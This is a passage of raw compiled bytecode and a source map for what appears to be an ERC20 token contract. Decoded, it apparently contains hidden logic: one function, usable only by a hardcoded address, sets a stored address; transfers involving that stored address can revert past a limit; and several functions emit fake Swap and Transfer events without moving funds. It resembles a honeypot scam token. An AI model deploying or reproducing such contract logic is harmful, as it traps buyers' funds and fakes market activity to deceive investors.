102f29190611680565b610973565b6040516103049190611533565b60405180910390f35b6103276004803603810190610322919061162d565b6109f5565b604051610334919061150b565b60405180910390f35b6103576004803603810190610352919061162d565b610a8e565b005b5f5b848490508110156104b257848482818110610379576103786116be565b5b905060200201602081019061038e919061162d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80886040516103f0949392919061172d565b60405180910390a384848281811061040b5761040a6116be565b5b9050602002016020810190610420919061162d565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161049d9190611533565b60405180910390a3808060010191505061035b565b5050505050565b6060600480546104c89061179d565b80601f01602080910402602001604051908101604052809291908181526020018280546104f49061179d565b801561053f5780601f106105165761010080835404028352916020019161053f565b820191905f5260205f20905b81548152906001019060200180831161052257829003601f168201915b5050505050905090565b5f80610553610b10565b9050610560818585610b17565b600191505092915050565b5f600354905090565b5f8061057e610b10565b905061058b858285610cda565b610596858585610d65565b60019150509392505050565b5f5b83839050811015610669578383828181106105c2576105c16116be565b5b90506020020160208101906105d7919061162d565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106549190611533565b60405180910390a380806001019150506105a4565b50505050565b5f6008905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106c5611178565b6106ce5f6111f6565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107069061179d565b80601f01602080910402602001604051908101604052809291908181526020018280546107329061179d565b801561077d5780601f106107545761010080835404028352916020019161077d565b820191905f5260205f20905b81548152906001019060200180831161076057829003601f168201915b5050505050905090565b5f80610791610b10565b905061079e818585610d65565b600191505092915050565b5f5b84849050811015610902578484828181106107c9576107c86116be565b5b90506020020160208101906107de919061162d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f8088604051610840949392919061172d565b60405180910390a384848281811061085b5761085a6116be565b5b9050602002016020810190610870919061162d565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108ed9190611533565b60405180910390a380806001019150506107ab565b5050505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109669190611533565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f738b858dca327754c5db7a0906b19de8e38cc1ab7073ffffffffffffffffffffffffffffffffffffffff16610a29610b10565b73ffffffffffffffffffffffffffffffffffffffff1603610a85578160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b610a96611178565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb9061183d565b60405180910390fd5b610b0d816111f6565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c906118cb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bea90611959565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccd9190611533565b60405180910390a3505050565b5f610ce58484610973565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d5f5781811015610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d48906119c1565b60405180910390fd5b610d5e8484848403610b17565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca90611a4f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3890611add565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610edd5750738b858dca327754c5db7a0906b19de8e38cc1ab7073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610fcc57508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610f7f5750738b858dca327754c5db7a0906b19de8e38cc1ab7073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610fcb5750738b858dca327754c5db7a0906b19de8e38cc1ab7073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15610ff0575f600182610fdf9190611b28565b90506007548110610fee575f80fd5b505b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90611bcb565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115f9190611533565b60405180910390a36111728484846112b7565b50505050565b611180610b10565b73ffffffffffffffffffffffffffffffffffffffff1661119e6106d0565b73ffffffffffffffffffffffffffffffffffffffff16146111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb90611c33565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126112e5576112e46112c4565b5b8235905067ffffffffffffffff811115611302576113016112c8565b5b60208301915083602082028301111561131e5761131d6112cc565b5b9250929050565b5f819050919050565b61133781611325565b8114611341575f80fd5b50565b5f813590506113528161132e565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61138182611358565b9050919050565b61139181611377565b811461139b575f80fd5b50565b5f813590506113ac81611388565b92915050565b5f805f80606085870312156113ca576113c96112bc565b5b5f85013567ffffffffffffffff8111156113e7576113e66112c0565b5b6113f3878288016112d0565b9450945050602061140687828801611344565b92505060406114178782880161139e565b91505092959194509250565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61146582611423565b61146f818561142d565b935061147f81856020860161143d565b6114888161144b565b840191505092915050565b5f6020820190508181035f8301526114ab818461145b565b905092915050565b5f80604083850312156114c9576114c86112bc565b5b5f6114d68582860161139e565b92505060206114e785828601611344565b9150509250929050565b5f8115159050919050565b611505816114f1565b82525050565b5f60208201905061151e5f8301846114fc565b92915050565b61152d81611325565b82525050565b5f6020820190506115465f830184611524565b92915050565b5f805f60608486031215611563576115626112bc565b5b5f6115708682870161139e565b93505060206115818682870161139e565b925050604061159286828701611344565b9150509250925092565b5f805f604084860312156115b3576115b26112bc565b5b5f84013567ffffffffffffffff8111156115d0576115cf6112c0565b5b6115dc868287016112d0565b935093505060206115ef86828701611344565b9150509250925092565b5f60ff82169050919050565b61160e816115f9565b82525050565b5f6020820190506116275f830184611605565b92915050565b5f60208284031215611642576116416112bc565b5b5f61164f8482850161139e565b91505092915050565b61166181611377565b82525050565b5f60208201905061167a5f830184611658565b92915050565b5f8060408385031215611696576116956112bc565b5b5f6116a38582860161139e565b92505060206116b48582860161139e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61171761171261170d846116eb565b6116f4565b611325565b9050919050565b611727816116fd565b82525050565b5f6080820190506117405f830187611524565b61174d602083018661171e565b61175a604083018561171e565b6117676060830184611524565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806117b457607f821691505b6020821081036117c7576117c6611770565b5b50919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61182760268361142d565b9150611832826117cd565b604082019050919050565b5f6020820190508181035f8301526118548161181b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118b560248361142d565b91506118c08261185b565b604082019050919050565b5f6020820190508181035f8301526118e2816118a9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61194360228361142d565b915061194e826118e9565b604082019050919050565b5f6020820190508181035f83015261197081611937565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6119ab601d8361142d565b91506119b682611977565b602082019050919050565b5f6020820190508181035f8301526119d88161199f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a3960258361142d565b9150611a44826119df565b604082019050919050565b5f6020820190508181035f830152611a6681611a2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760238361142d565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b3282611325565b9150611b3d83611325565b9250828201905080821115611b5557611b54611afb565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611bb560268361142d565b9150611bc082611b5b565b604082019050919050565b5f6020820190508181035f830152611be281611ba9565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611c1d60208361142d565b9150611c2882611be9565b602082019050919050565b5f6020820190508181035f830152611c4a81611c11565b905091905056fea26469706673582212206857592cca9fac7f99112d16d5634dda815bbdcb4af53e90de9e63c1a5e7840d64736f6c63430008190033
Deployed Bytecode Sourcemap
3239:5593:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3973:279;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3649:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5255:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5824:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5464:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4547:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3871:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5995:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2715:103;;;:::i;:::-;;2480:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3757:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4893:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4258:281;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4768:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5094:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6130:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2826:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3973:279;4071:9;4066:179;4090:11;;:18;;4086:1;:22;4066:179;;;4160:11;;4172:1;4160:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4135:40;;4140:2;4135:40;;;4144:3;4149:1;4152;4155:3;4135:40;;;;;;;;;:::i;:::-;;;;;;;;4213:11;;4225:1;4213:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4195:38;;4204:7;;;;;;;;;;;4195:38;;;4229:3;4195:38;;;;;;:::i;:::-;;;;;;;;4110:3;;;;;;;4066:179;;;;3973:279;;;;:::o;3649:100::-;3703:13;3736:5;3729:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3649:100;:::o;5255:201::-;5338:4;5355:13;5371:12;:10;:12::i;:::-;5355:28;;5394:32;5403:5;5410:7;5419:6;5394:8;:32::i;:::-;5444:4;5437:11;;;5255:201;;;;:::o;5824:108::-;5885:7;5912:12;;5905:19;;5824:108;:::o;5464:295::-;5595:4;5612:15;5630:12;:10;:12::i;:::-;5612:30;;5653:38;5669:4;5675:7;5684:6;5653:15;:38::i;:::-;5702:27;5712:4;5718:2;5722:6;5702:9;:27::i;:::-;5747:4;5740:11;;;5464:295;;;;;:::o;4547:211::-;4636:9;4631:120;4655:11;;:18;;4651:1;:22;4631:120;;;4718:11;;4730:1;4718:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4700:39;;4709:7;;;;;;;;;;;4700:39;;;4734:4;4700:39;;;;;;:::i;:::-;;;;;;;;4675:3;;;;;;;4631:120;;;;4547:211;;;:::o;3871:92::-;3929:5;3954:1;3947:8;;3871:92;:::o;5995:127::-;6069:7;6096:9;:18;6106:7;6096:18;;;;;;;;;;;;;;;;6089:25;;5995:127;;;:::o;2715:103::-;2441:13;:11;:13::i;:::-;2780:30:::1;2807:1;2780:18;:30::i;:::-;2715:103::o:0;2480:87::-;2526:7;2553:6;;;;;;;;;;;2546:13;;2480:87;:::o;3757:104::-;3813:13;3846:7;3839:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3757:104;:::o;4893:193::-;4972:4;4989:13;5005:12;:10;:12::i;:::-;4989:28;;5028;5038:5;5045:2;5049:6;5028:9;:28::i;:::-;5074:4;5067:11;;;4893:193;;;;:::o;4258:281::-;4358:9;4353:179;4377:11;;:18;;4373:1;:22;4353:179;;;4447:11;;4459:1;4447:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4422:40;;4427:2;4422:40;;;4431:3;4436:1;4439;4442:3;4422:40;;;;;;;;;:::i;:::-;;;;;;;;4500:11;;4512:1;4500:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4482:38;;4491:7;;;;;;;;;;;4482:38;;;4516:3;4482:38;;;;;;:::i;:::-;;;;;;;;4397:3;;;;;;;4353:179;;;;4258:281;;;;:::o;4768:119::-;4869:3;4853:26;;4862:5;4853:26;;;4874:4;4853:26;;;;;;:::i;:::-;;;;;;;;4768:119;;;:::o;5094:151::-;5183:7;5210:11;:18;5222:5;5210:18;;;;;;;;;;;;;;;:27;5229:7;5210:27;;;;;;;;;;;;;;;;5203:34;;5094:151;;;;:::o;6130:189::-;6191:4;6228:42;6212:58;;:12;:10;:12::i;:::-;:58;;;6209:80;;6282:7;6272;;:17;;;;;;;;;;;;;;;;;;6209:80;6307:4;6300:11;;6130:189;;;:::o;2826:201::-;2441:13;:11;:13::i;:::-;2935:1:::1;2915:22;;:8;:22;;::::0;2907:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2991:28;3010:8;2991:18;:28::i;:::-;2826:201:::0;:::o;1955:98::-;2008:7;2035:10;2028:17;;1955:98;:::o;6742:380::-;6895:1;6878:19;;:5;:19;;;6870:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6976:1;6957:21;;:7;:21;;;6949:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7060:6;7030:11;:18;7042:5;7030:18;;;;;;;;;;;;;;;:27;7049:7;7030:27;;;;;;;;;;;;;;;:36;;;;7098:7;7082:32;;7091:5;7082:32;;;7107:6;7082:32;;;;;;:::i;:::-;;;;;;;;6742:380;;;:::o;8065:453::-;8200:24;8227:25;8237:5;8244:7;8227:9;:25::i;:::-;8200:52;;8287:17;8267:16;:37;8263:248;;8349:6;8329:16;:26;;8321:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8433:51;8442:5;8449:7;8477:6;8458:16;:25;8433:8;:51::i;:::-;8263:248;8189:329;8065:453;;;:::o;7134:923::-;7281:1;7265:18;;:4;:18;;;7257:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7358:1;7344:16;;:2;:16;;;7336:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7423:7;;;;;;;;;;;7415:15;;:4;:15;;;;:67;;;;;7440:42;7434:48;;:2;:48;;;7415:67;7414:197;;;;7499:2;7488:13;;:7;;;;;;;;;;;:13;;;:67;;;;;7513:42;7505:50;;:4;:50;;;;7488:67;:122;;;;;7568:42;7559:51;;:4;:51;;;;7488:122;7414:197;7411:295;;;7628:14;7654:1;7645:6;:10;;;;:::i;:::-;7628:27;;7687:5;;7678:6;:14;7670:24;;;;;;7613:93;7411:295;7716:19;7738:9;:15;7748:4;7738:15;;;;;;;;;;;;;;;;7716:37;;7787:6;7772:11;:21;;7764:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7904:6;7890:11;:20;7872:9;:15;7882:4;7872:15;;;;;;;;;;;;;;;:38;;;;7942:6;7925:9;:13;7935:2;7925:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;7990:2;7975:26;;7984:4;7975:26;;;7994:6;7975:26;;;;;;:::i;:::-;;;;;;;;8012:37;8032:4;8038:2;8042:6;8012:19;:37::i;:::-;7246:811;7134:923;;;:::o;2573:132::-;2648:12;:10;:12::i;:::-;2637:23;;:7;:5;:7::i;:::-;:23;;;2629:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2573:132::o;3035:191::-;3109:16;3128:6;;;;;;;;;;;3109:25;;3154:8;3145:6;;:17;;;;;;;;;;;;;;;;;;3209:8;3178:40;;3199:8;3178:40;;;;;;;;;;;;3098:128;3035:191;:::o;8528:124::-;;;;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:117;689:1;686;679:12;720:568;793:8;803:6;853:3;846:4;838:6;834:17;830:27;820:122;;861:79;;:::i;:::-;820:122;974:6;961:20;951:30;;1004:18;996:6;993:30;990:117;;;1026:79;;:::i;:::-;990:117;1140:4;1132:6;1128:17;1116:29;;1194:3;1186:4;1178:6;1174:17;1164:8;1160:32;1157:41;1154:128;;;1201:79;;:::i;:::-;1154:128;720:568;;;;;:::o;1294:77::-;1331:7;1360:5;1349:16;;1294:77;;;:::o;1377:122::-;1450:24;1468:5;1450:24;:::i;:::-;1443:5;1440:35;1430:63;;1489:1;1486;1479:12;1430:63;1377:122;:::o;1505:139::-;1551:5;1589:6;1576:20;1567:29;;1605:33;1632:5;1605:33;:::i;:::-;1505:139;;;;:::o;1650:126::-;1687:7;1727:42;1720:5;1716:54;1705:65;;1650:126;;;:::o;1782:96::-;1819:7;1848:24;1866:5;1848:24;:::i;:::-;1837:35;;1782:96;;;:::o;1884:122::-;1957:24;1975:5;1957:24;:::i;:::-;1950:5;1947:35;1937:63;;1996:1;1993;1986:12;1937:63;1884:122;:::o;2012:139::-;2058:5;2096:6;2083:20;2074:29;;2112:33;2139:5;2112:33;:::i;:::-;2012:139;;;;:::o;2157:849::-;2261:6;2269;2277;2285;2334:2;2322:9;2313:7;2309:23;2305:32;2302:119;;;2340:79;;:::i;:::-;2302:119;2488:1;2477:9;2473:17;2460:31;2518:18;2510:6;2507:30;2504:117;;;2540:79;;:::i;:::-;2504:117;2653:80;2725:7;2716:6;2705:9;2701:22;2653:80;:::i;:::-;2635:98;;;;2431:312;2782:2;2808:53;2853:7;2844:6;2833:9;2829:22;2808:53;:::i;:::-;2798:63;;2753:118;2910:2;2936:53;2981:7;2972:6;2961:9;2957:22;2936:53;:::i;:::-;2926:63;;2881:118;2157:849;;;;;;;:::o;3012:99::-;3064:6;3098:5;3092:12;3082:22;;3012:99;;;:::o;3117:169::-;3201:11;3235:6;3230:3;3223:19;3275:4;3270:3;3266:14;3251:29;;3117:169;;;;:::o;3292:139::-;3381:6;3376:3;3371;3365:23;3422:1;3413:6;3408:3;3404:16;3397:27;3292:139;;;:::o;3437:102::-;3478:6;3529:2;3525:7;3520:2;3513:5;3509:14;3505:28;3495:38;;3437:102;;;:::o;3545:377::-;3633:3;3661:39;3694:5;3661:39;:::i;:::-;3716:71;3780:6;3775:3;3716:71;:::i;:::-;3709:78;;3796:65;3854:6;3849:3;3842:4;3835:5;3831:16;3796:65;:::i;:::-;3886:29;3908:6;3886:29;:::i;:::-;3881:3;3877:39;3870:46;;3637:285;3545:377;;;;:::o;3928:313::-;4041:4;4079:2;4068:9;4064:18;4056:26;;4128:9;4122:4;4118:20;4114:1;4103:9;4099:17;4092:47;4156:78;4229:4;4220:6;4156:78;:::i;:::-;4148:86;;3928:313;;;;:::o;4247:474::-;4315:6;4323;4372:2;4360:9;4351:7;4347:23;4343:32;4340:119;;;4378:79;;:::i;:::-;4340:119;4498:1;4523:53;4568:7;4559:6;4548:9;4544:22;4523:53;:::i;:::-;4513:63;;4469:117;4625:2;4651:53;4696:7;4687:6;4676:9;4672:22;4651:53;:::i;:::-;4641:63;;4596:118;4247:474;;;;;:::o;4727:90::-;4761:7;4804:5;4797:13;4790:21;4779:32;;4727:90;;;:::o;4823:109::-;4904:21;4919:5;4904:21;:::i;:::-;4899:3;4892:34;4823:109;;:::o;4938:210::-;5025:4;5063:2;5052:9;5048:18;5040:26;;5076:65;5138:1;5127:9;5123:17;5114:6;5076:65;:::i;:::-;4938:210;;;;:::o;5154:118::-;5241:24;5259:5;5241:24;:::i;:::-;5236:3;5229:37;5154:118;;:::o;5278:222::-;5371:4;5409:2;5398:9;5394:18;5386:26;;5422:71;5490:1;5479:9;5475:17;5466:6;5422:71;:::i;:::-;5278:222;;;;:::o;5506:619::-;5583:6;5591;5599;5648:2;5636:9;5627:7;5623:23;5619:32;5616:119;;;5654:79;;:::i;:::-;5616:119;5774:1;5799:53;5844:7;5835:6;5824:9;5820:22;5799:53;:::i;:::-;5789:63;;5745:117;5901:2;5927:53;5972:7;5963:6;5952:9;5948:22;5927:53;:::i;:::-;5917:63;;5872:118;6029:2;6055:53;6100:7;6091:6;6080:9;6076:22;6055:53;:::i;:::-;6045:63;;6000:118;5506:619;;;;;:::o;6131:704::-;6226:6;6234;6242;6291:2;6279:9;6270:7;6266:23;6262:32;6259:119;;;6297:79;;:::i;:::-;6259:119;6445:1;6434:9;6430:17;6417:31;6475:18;6467:6;6464:30;6461:117;;;6497:79;;:::i;:::-;6461:117;6610:80;6682:7;6673:6;6662:9;6658:22;6610:80;:::i;:::-;6592:98;;;;6388:312;6739:2;6765:53;6810:7;6801:6;6790:9;6786:22;6765:53;:::i;:::-;6755:63;;6710:118;6131:704;;;;;:::o;6841:86::-;6876:7;6916:4;6909:5;6905:16;6894:27;;6841:86;;;:::o;6933:112::-;7016:22;7032:5;7016:22;:::i;:::-;7011:3;7004:35;6933:112;;:::o;7051:214::-;7140:4;7178:2;7167:9;7163:18;7155:26;;7191:67;7255:1;7244:9;7240:17;7231:6;7191:67;:::i;:::-;7051:214;;;;:::o;7271:329::-;7330:6;7379:2;7367:9;7358:7;7354:23;7350:32;7347:119;;;7385:79;;:::i;:::-;7347:119;7505:1;7530:53;7575:7;7566:6;7555:9;7551:22;7530:53;:::i;:::-;7520:63;;7476:117;7271:329;;;;:::o;7606:118::-;7693:24;7711:5;7693:24;:::i;:::-;7688:3;7681:37;7606:118;;:::o;7730:222::-;7823:4;7861:2;7850:9;7846:18;7838:26;;7874:71;7942:1;7931:9;7927:17;7918:6;7874:71;:::i;:::-;7730:222;;;;:::o;7958:474::-;8026:6;8034;8083:2;8071:9;8062:7;8058:23;8054:32;8051:119;;;8089:79;;:::i;:::-;8051:119;8209:1;8234:53;8279:7;8270:6;8259:9;8255:22;8234:53;:::i;:::-;8224:63;;8180:117;8336:2;8362:53;8407:7;8398:6;8387:9;8383:22;8362:53;:::i;:::-;8352:63;;8307:118;7958:474;;;;;:::o;8438:180::-;8486:77;8483:1;8476:88;8583:4;8580:1;8573:15;8607:4;8604:1;8597:15;8624:85;8669:7;8698:5;8687:16;;8624:85;;;:::o;8715:60::-;8743:3;8764:5;8757:12;;8715:60;;;:::o;8781:158::-;8839:9;8872:61;8890:42;8899:32;8925:5;8899:32;:::i;:::-;8890:42;:::i;:::-;8872:61;:::i;:::-;8859:74;;8781:158;;;:::o;8945:147::-;9040:45;9079:5;9040:45;:::i;:::-;9035:3;9028:58;8945:147;;:::o;9098:585::-;9291:4;9329:3;9318:9;9314:19;9306:27;;9343:71;9411:1;9400:9;9396:17;9387:6;9343:71;:::i;:::-;9424:80;9500:2;9489:9;9485:18;9476:6;9424:80;:::i;:::-;9514;9590:2;9579:9;9575:18;9566:6;9514:80;:::i;:::-;9604:72;9672:2;9661:9;9657:18;9648:6;9604:72;:::i;:::-;9098:585;;;;;;;:::o;9689:180::-;9737:77;9734:1;9727:88;9834:4;9831:1;9824:15;9858:4;9855:1;9848:15;9875:320;9919:6;9956:1;9950:4;9946:12;9936:22;;10003:1;9997:4;9993:12;10024:18;10014:81;;10080:4;10072:6;10068:17;10058:27;;10014:81;10142:2;10134:6;10131:14;10111:18;10108:38;10105:84;;10161:18;;:::i;:::-;10105:84;9926:269;9875:320;;;:::o;10201:225::-;10341:34;10337:1;10329:6;10325:14;10318:58;10410:8;10405:2;10397:6;10393:15;10386:33;10201:225;:::o;10432:366::-;10574:3;10595:67;10659:2;10654:3;10595:67;:::i;:::-;10588:74;;10671:93;10760:3;10671:93;:::i;:::-;10789:2;10784:3;10780:12;10773:19;;10432:366;;;:::o;10804:419::-;10970:4;11008:2;10997:9;10993:18;10985:26;;11057:9;11051:4;11047:20;11043:1;11032:9;11028:17;11021:47;11085:131;11211:4;11085:131;:::i;:::-;11077:139;;10804:419;;;:::o;11229:223::-;11369:34;11365:1;11357:6;11353:14;11346:58;11438:6;11433:2;11425:6;11421:15;11414:31;11229:223;:::o;11458:366::-;11600:3;11621:67;11685:2;11680:3;11621:67;:::i;:::-;11614:74;;11697:93;11786:3;11697:93;:::i;:::-;11815:2;11810:3;11806:12;11799:19;;11458:366;;;:::o;11830:419::-;11996:4;12034:2;12023:9;12019:18;12011:26;;12083:9;12077:4;12073:20;12069:1;12058:9;12054:17;12047:47;12111:131;12237:4;12111:131;:::i;:::-;12103:139;;11830:419;;;:::o;12255:221::-;12395:34;12391:1;12383:6;12379:14;12372:58;12464:4;12459:2;12451:6;12447:15;12440:29;12255:221;:::o;12482:366::-;12624:3;12645:67;12709:2;12704:3;12645:67;:::i;:::-;12638:74;;12721:93;12810:3;12721:93;:::i;:::-;12839:2;12834:3;12830:12;12823:19;;12482:366;;;:::o;12854:419::-;13020:4;13058:2;13047:9;13043:18;13035:26;;13107:9;13101:4;13097:20;13093:1;13082:9;13078:17;13071:47;13135:131;13261:4;13135:131;:::i;:::-;13127:139;;12854:419;;;:::o;13279:179::-;13419:31;13415:1;13407:6;13403:14;13396:55;13279:179;:::o;13464:366::-;13606:3;13627:67;13691:2;13686:3;13627:67;:::i;:::-;13620:74;;13703:93;13792:3;13703:93;:::i;:::-